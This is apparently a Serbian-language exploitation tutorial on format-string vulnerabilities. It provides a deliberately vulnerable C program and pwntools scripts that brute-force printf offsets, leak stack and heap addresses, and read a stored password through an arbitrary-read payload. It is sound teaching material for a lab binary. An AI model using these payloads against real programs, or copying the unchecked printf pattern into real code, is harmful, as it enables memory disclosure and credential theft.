from pwn import*p =process('./fs-read')payload = f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Pomeranje je 11 jer postavljanje nekoliko slova A i bruteforcing petlje sa pomeranjem od 0 do 50 otkriva da je na pomeranju 11, uz dodatnih 5 karaktera (vertikalne crte | u našem slučaju), moguće kontrolisati punu adresu.
Koristio sam %11$p sa popunjavanjem dok nisam video da je adresa bila sve 0x4141414141414141.
Payload formata stringa je ISPRED adrese jer printf prestaje čitati na nuli, pa ako pošaljemo adresu pa zatim format string, printf nikada neće stići do formata jer će prvo naići na nulu.
Odabrana adresa je 0x00400000 jer je to mesto gde binarni fajl počinje (bez PIE).
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Kompajlirajte ga sa:
clang-ofs-readfs-read.c-Wno-format-security
Čitanje sa steka
stack_password će biti smešten u steku jer je lokalna promenljiva, pa je dovoljno zloupotrebiti printf da prikaže sadržaj steka. Ovo je eksploatacija za BF prvih 100 pozicija kako bi se otkrile lozinke sa steka:
from pwn import*for i inrange(100):print(f"Try: {i}")payload = f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
U slici je moguće videti da možemo procuriti lozinku sa steka na 10. poziciji:
Čitanje podataka
Pokretanjem istog napada ali sa %p umesto %s moguće je procuriti adresu hipa sa steka na poziciji %25$p. Osim toga, upoređujući procurivenu adresu (0xaaaab7030894) sa pozicijom lozinke u memoriji u tom procesu možemo dobiti razliku adresa:
Sada je vreme da pronađemo kako kontrolisati 1 adresu na steku kako bismo joj pristupili iz ranjivosti druge formatiranje niske:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload = f"%{i}$p|||".encode()payload += b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
I moguće je videti da u pokušaju 14 sa korišćenjem prosleđivanja možemo kontrolisati adresu:
Eksploatacija
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload = f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()